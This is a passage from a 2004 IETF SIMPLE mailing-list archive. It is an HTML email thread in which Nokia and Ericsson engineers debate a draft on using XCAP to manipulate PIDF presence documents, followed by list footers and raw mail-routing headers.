  their schemas.<BR>&nbsp;&nbsp; Sometimes, it will not.<BR><BR>&nbsp;&nbsp; A 
  server MUST allow for documents that contain elements from<BR>&nbsp;&nbsp; 
  namespaces not known to the server. In such a case, the server 
  cannot<BR>&nbsp;&nbsp; validate that such content is schema compliant; it will 
  only verify<BR>&nbsp;&nbsp; that the XML is well-formed.</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff size=2>In 
  this case the baseline schema is the one defined in PIDF soon-to-become RFC. 
  RPID, CIPID etc.&nbsp;extend PIDF in&nbsp;the allowed points of extensibility. 
  There is nothing in those namespaces&nbsp;that the server&nbsp;really needs to 
  understand.&nbsp;This means that the mandatory-ns mechanism (which itself will 
  probably change in the next rev of XCAP), would not be 
  needed.</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff size=2>Does 
  this clarify your concerns?</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2>Markus</FONT>&nbsp;</SPAN></DIV>
  <BLOCKQUOTE 
  style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
    <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
    size=2>-----Original Message-----<BR><B>From:</B> ext George Foti (QA/EMC) 
    [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004 
    05:03<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
    simple@ietf.org<BR><B>Subject:</B> RE: Comments on PIDF-Manipulation 
    Usage-00draft (was RE: Comments on 
    draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
    <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
    class=769514202-03032004>Hi Markus,</SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT size=+0><FONT size=+0><FONT size=+0><FONT size=+0><FONT 
    face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>I would like 
    to adrress the following statement below that I cut from the original 
    exchange:</SPAN></FONT></FONT></FONT></FONT></FONT></DIV>
    <DIV><FONT size=+0><FONT size=+0><FONT size=+0><FONT size=+0><FONT 
    face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004></SPAN></FONT></FONT></FONT></FONT></FONT>&nbsp;</DIV>
    <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
    class=769514202-03032004>1)&nbsp; </SPAN>First,&nbsp;a presentity can 
    publish several PIDF documents using SIP PUBLISH. Then, she can have a 
    single "hard state" PIDF&nbsp;document manipulated with XCAP. All of these 
    can contain any number of tuples. All this is fed into magic called "event 
    state compositor", which produces a single consistent presence document. The 
    fact that the compositor logic has been left as implementation specific is a 
    feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I 
    agree that there will be interoperability issues with how things with the 
    composition definition are at the moment, but this draft does not cause the 
    problem.</FONT></FONT></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>/gf</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>There is no&nbsp; stand alone "hard state" PIDF 
    document that is defined today that can be solely managed by 
    XCAP.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>XCAP requires an XML document with an XML schema to 
    be able to properly verify operations.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>What you have in mind, I think, is a number of 
    tuples from various defined presence documents&nbsp;(PIDF, RPID, etc..) that 
    you&nbsp;want to manage using XCAP.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>Unless you create such a&nbsp;*stand alone* XMP 
    document for hard states, I dont beleive that you can do what you want with 
    XCAP, without creating interoperability problems, or open the door for 
    abuses that would require complexities to overcome.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004></SPAN></FONT><FONT face=Arial color=#0000ff 
    size=2><SPAN class=769514202-03032004></SPAN></FONT><FONT face=Arial 
    color=#0000ff size=2><SPAN class=769514202-03032004>gf/</SPAN></FONT></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>2) 
    Based on this I assume PIDF would still be OK for XCAP as it is 
    now.</FONT></SPAN></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
    size=2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
    size=2>This is where I beleive that what you want can only be done with a 
    *new stand-alone* XML &nbsp;document. For&nbsp;example, the 
    XCAP&nbsp;framework requires the inclusion of the mandatory-ns element, if 
    you would include in the XML document managed by XCAP, elements from other 
    name spaces.</FONT></SPAN></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
    size=2>That today is not part of PIDF.&nbsp; The tuples you want XCAP to 
    manage are not part of PIDF, rather other presence 
    documents.</FONT></SPAN></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>So 
    how would that work then.</FONT></SPAN></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
    size=2></FONT></SPAN>&nbsp;</DIV>
    <BLOCKQUOTE dir=ltr 
    style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
      <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
      size=2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@nokia.com 
      [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 2004 
      9:23 PM<BR><B>To:</B> George Foti (QA/EMC); 
      simple@ietf.org<BR><B>Subject:</B> RE: Comments on PIDF-Manipulation 
      Usage-00draft (was RE: Comments on 
      draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2>Hi,</FONT></SPAN></DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2>OK, this time I understood your points much 
      better.</FONT></SPAN></DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2>Comments&nbsp;starting with [MI] inline:</FONT></SPAN></DIV>
      <BLOCKQUOTE 
      style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
        <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
        size=2>-----Original Message-----<BR><B>From:</B> ext George Foti 
        (QA/EMC) [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 
        2004 03:52<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
        simple@ietf.org<BR><B>Subject:</B> Comments on PIDF-Manipulation 
        Usage-00draft (was RE: Comments on 
        draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
        <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
        class=509473301-03032004>Sorry, I had the wrong draft in the subject, 
        but I meant the PIDF Manipulation draft.</SPAN></FONT></DIV>
        <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
        class=509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
        <BLOCKQUOTE dir=ltr 
        style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
          <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
          size=2>-----Original Message-----<BR><B>From:</B> 
          Markus.Isomaki@nokia.com 
          [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 
          2004 8:24 PM<BR><B>To:</B> George Foti (QA/EMC); 
          simple@ietf.org<BR><B>Subject:</B> RE: Comments on 
          draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>Hi George,</FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>First of all, the document you are referring to has been 
          updated with this one:</FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2><A 
          href="http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>I'll submit the WG version shortly after the meeting. The 
          changes compared to the version you&nbsp;read&nbsp;are mainly 
          clarifications, so I think your comments would apply to the new draft 
          as well. My anwers to each point below:</FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>1) XCAP operations are hard state by nature, no refreshing is 
          needed, so this is inherently hard state manipulation. 
          </FONT></SPAN></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>Agree, but how 
          do you prevent users, from using XCAP from manipulating presence soft 
          states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>I assume that 
          all the presence tuples are part of the same presence document. 
          </SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>Now you are 
          advocating selective manipluation of some tuples and not others using 
          XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>Have I 
          misunderstood something here 
?</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>How will you 
          enforce that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
          <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004><SPAN 
          class=182215601-03032004>[MI] OK, I think I know what you mean. The 
          model for how the final presence document is put together is shown in 
          the draft in Chapter 3. First,&nbsp;a presentity can publish several 
          PIDF documents using SIP PUBLISH. Then, she can have a single "hard 
          state" PIDF&nbsp;document manipulated with XCAP. All of these can 
          contain any number of tuples. All this is fed into magic called "event 
          state compositor", which produces a single consistent presence 
          document. The fact that the compositor logic has been left as 
          implementation specific is a feature (or a deficiency) in SIMPLE, and 
          this draft makes it no worse. I agree that there will be 
          interoperability issues with how things with the composition 
          definition are at the moment, but this draft does not cause the 
          problem.</SPAN></SPAN></SPAN></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004>&nbsp;</SPAN>2) The default model I have in 
          mind is that each presentity would have exactly one persistent 
          device-independent presence document that would be manipulated by 
          XCAP. That would be fed to the composition logic to complement the 
          PUA/device-specific documents published using SIP PUBLISH 
          mechanism.<SPAN class=509473301-03032004>&nbsp;</SPAN></SPAN><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2>XCAP is meant to be a generic 
          XML-manipulation mechanism, so there should be nothing specific in 
          this application usage. Once the base XCAP is finished, we'll see what 
          the exact mechanisms to mandate supported namespaces are, and we'll 
          adopt that convention in this draft too. This is probably still 
          changing from xcap-02 draft, as was discussed in SIMPLE 
          session.&nbsp;<SPAN 
          class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>Not totally 
          true</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>XCAP have a 
          limited set of rules for HTTP URI 
          creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN><SPAN 
          class=902344900-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN class=509473301-03032004>So&nbsp;it is not meant for 
          *any* XML document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>I think the 
          XCAP framework is clear on 
          that</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>You would 
          need to expand those rules, which can complicate things quite a lot, 
          not to mention slow things down, to make it more 
          generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2>gf/<SPAN 
          class=182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN 
          class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN class=182215601-03032004>[MI] I think you are right on 
          this one, my previous statement was wrong. XCAP can have problems with 
          handling *any* XML document, if the selector construction will be 
          restricted to only limited number of possibilities. However, see 
          Jonathan's mail attached to this mail. Based on this I assume PIDF 
          would still be OK for XCAP as it is 
          now.</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN 
          class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2>3) I'm not sure if I&nbsp;understood the 
          question. This is not a template for any applications that want to use 
          XCAP, this is standardizing how XCAP is used to manipulate 
          PIDF-formatted presence documents. As there is no computed data or 
          anything, I guess an app usage for any XML doc would be quite similar 
          to this one.<SPAN 
          class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>For event 
          packages we have a template that have to be filled&nbsp;by for anyone 
          who wants to create a new event 
          package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>So I am 
          asking if your&nbsp;document presents a template, similar&nbsp;to the 
          event package approach. (forget about the content for your 
          application)</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>I am not 
          sure if I am clear&nbsp;on that 
          one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2>gf/<SPAN 
          class=182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN 
          class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN class=182215601-03032004>[MI] OK, I got the question, 
          thanks. Yes,&nbsp;we tried to follow&nbsp;the structure/template how 
          Jonathan has defined the&nbsp;other existing&nbsp;XCAP application 
          usages. So it should&nbsp;be according to how XCAP AUs are ssupposed 
          to be specified.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2>4) Surely there are many ways to manipulate 
          PIDF documents. However, in context of SIMPLE, XCAP is a natural 
          choice since it's needed already in any advanced presence-capable 
          device. Could you explain what kind of complexities you mean? This is 
          as simple an XCAP usage as&nbsp;there can be. Are you saying that XCAP 
          in itself is complex? A more simple way would be to use just normal 
          HTTP PUT and DELETE, but since we have XCAP at our disposal, why not 
          use it.<SPAN 
          class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>The 
          complexities will arise if we allow users to do selective 
          manipulation, using XCAP,&nbsp;for certain tuples&nbsp;*only*, and 
          using PUBLISH for the remaining 
          tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>So I need to 
          see your answer first to my&nbsp;response to your first &nbsp;bullet 
          before I go further</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SPAN 
          class=902344900-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN 
          class=509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2><SPAN class=182215601-03032004>[MI] As I explained above, you 
          can already PUBLISH several documents and there has to be a way to do 
          composition. So the complexity is already inbuilt in SIMPLE, it is not 
          in this sense extended here.</SPAN></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>Markus</FONT></SPAN></DIV>
          <BLOCKQUOTE 
          style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
            <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
            size=2>-----Original Message-----<BR><B>From:</B> ext George Foti 
            (QA/EMC) [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 
            2004 02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
            simple@ietf.org<BR><B>Subject:</B> Comments on 
            draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
            <P><FONT face="Times New Roman">Hi Markus,</FONT> </P>
            <P><FONT face="Times New Roman">I have some comments on your 
            draft:</FONT> </P>
            <P><FONT face="Times New Roman">1) Although you indicate that this 
            should be used only for hard states, what is there to prevent users 
            from manipulating other presence states in there through 
            XCAP.</FONT></P>
            <P><FONT face="Times New Roman">2) XCAP is meant to be used for 
            documents that are created to take advantage of the defined XCAP 
            rules for HTTP URI creation. Which XML presence documents in 
            particular are you proposing that they get manipulated by 
            XCAP.&nbsp; </FONT></P>
            <P><FONT face="Times New Roman">How do you ensure that the current 
            XCAP rules are suffiicient for the purpose you have in mind. I also 
            doubt that you can use the current XML presence documents (PIDF and 
            extensions) for XCAP purposes as is. For example, should there not 
            be the element mandatory-ns, in there, as per the XCAP 
            framework.</FONT></P>
            <P><FONT face="Times New Roman">3) Is this template meant to be a 
            generic template to be used by all applications that want to use 
            XCAP.</FONT> </P>
            <P><FONT face="Times New Roman">4) Finally, I believe that there are 
            other, out-of-band means, to accomplish your goals, i.e. manipulate 
            hard states, without the unwarranted complexities that the draft 
            creates. Thus, there must be explicit references in the draft to 
            that fact.&nbsp; </FONT></P>
            <P><FONT face=Arial size=2>/gf</FONT> <BR><FONT face=Arial 
            size=2>Ericsson Canada</FONT> </P><BR><BR>This communication is 
            confidential and intended solely for the addressee(s). Any 
            unauthorized review, use, disclosure or distribution is prohibited. 
            If you believe this message has been sent to you in error, please 
            notify the sender by replying to this transmission and delete the 
            message without disclosing it. Thank you.<BR><BR>E-mail including 
            attachments is susceptible to data corruption, interruption, 
            unauthorized amendment, tampering and viruses, and we only send and 
            receive e-mails on the basis that we are not liable for any such 
            corruption, interception, amendment, tampering or viruses or any 
            consequences thereof. </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This 
        communication is confidential and intended solely for the addressee(s). 
        Any unauthorized review, use, disclosure or distribution is prohibited. 
        If you believe this message has been sent to you in error, please notify 
        the sender by replying to this transmission and delete the message 
        without disclosing it. Thank you.<BR><BR>E-mail including attachments is 
        susceptible to data corruption, interruption, unauthorized amendment, 
        tampering and viruses, and we only send and receive e-mails on the basis 
        that we are not liable for any such corruption, interception, amendment, 
        tampering or viruses or any consequences thereof. 
    </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This communication is confidential and 
    intended solely for the addressee(s). Any unauthorized review, use, 
    disclosure or distribution is prohibited. If you believe this message has 
    been sent to you in error, please notify the sender by replying to this 
    transmission and delete the message without disclosing it. Thank 
    you.<BR><BR>E-mail including attachments is susceptible to data corruption, 
    interruption, unauthorized amendment, tampering and viruses, and we only 
    send and receive e-mails on the basis that we are not liable for any such 
    corruption, interception, amendment, tampering or viruses or any 
    consequences thereof. </BLOCKQUOTE></BLOCKQUOTE> <br><br>This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.<br><br>E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.</BODY></HTML>

------_=_NextPart_001_01C400F6.E0F80744--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 20:03:55 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11248
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 20:03:55 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhGl-0004Sg-7i
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 20:03:25 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2413Nwl017144
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 20:03:23 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhGk-0004SR-RI
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 20:03:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11196
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 20:03:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhGi-0001WO-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 20:03:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhFi-0001I5-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 20:02:22 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhEg-00015k-00; Wed, 03 Mar 2004 20:01:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhEV-0004Cf-7s; Wed, 03 Mar 2004 20:01:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyR7P-00070u-FL
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:48:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA07790
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:48:16 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR71-0004RO-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:48:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyR64-0004J4-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:47:20 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR5h-0004BB-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:46:53 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237kqZ04226;
	Wed, 3 Mar 2004 09:46:52 +0200 (EET)
